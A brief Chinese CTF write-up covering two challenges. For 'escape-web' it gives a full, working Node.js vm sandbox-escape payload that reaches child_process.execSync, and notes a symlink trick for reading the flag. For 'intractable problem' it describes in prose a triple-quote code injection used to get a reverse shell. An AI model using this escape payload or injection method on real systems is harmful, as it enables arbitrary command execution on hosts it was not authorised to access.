escape-web
根据报错知道是vm逃逸,直接搜payload
Object.defineProperty(Promise, Symbol.hasInstance, {value: ()=>false});
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls >&2'); }
)
}
}
};
p.then();
但是flag在容器外,不知道怎么逃逸。
看了wp说是ln -s /flag /app/output.txt,可能是把主机的什么文件映射到Docker里,所以可以软链接读取。不懂
intractable problem
非预期
主要是因为拼接code的时候没有过滤''',所以我们就能通过'''来逃出code
我们用两个'''来进行闭合,相当于在code赋值之后多加了我们的payload语句。
成功反弹。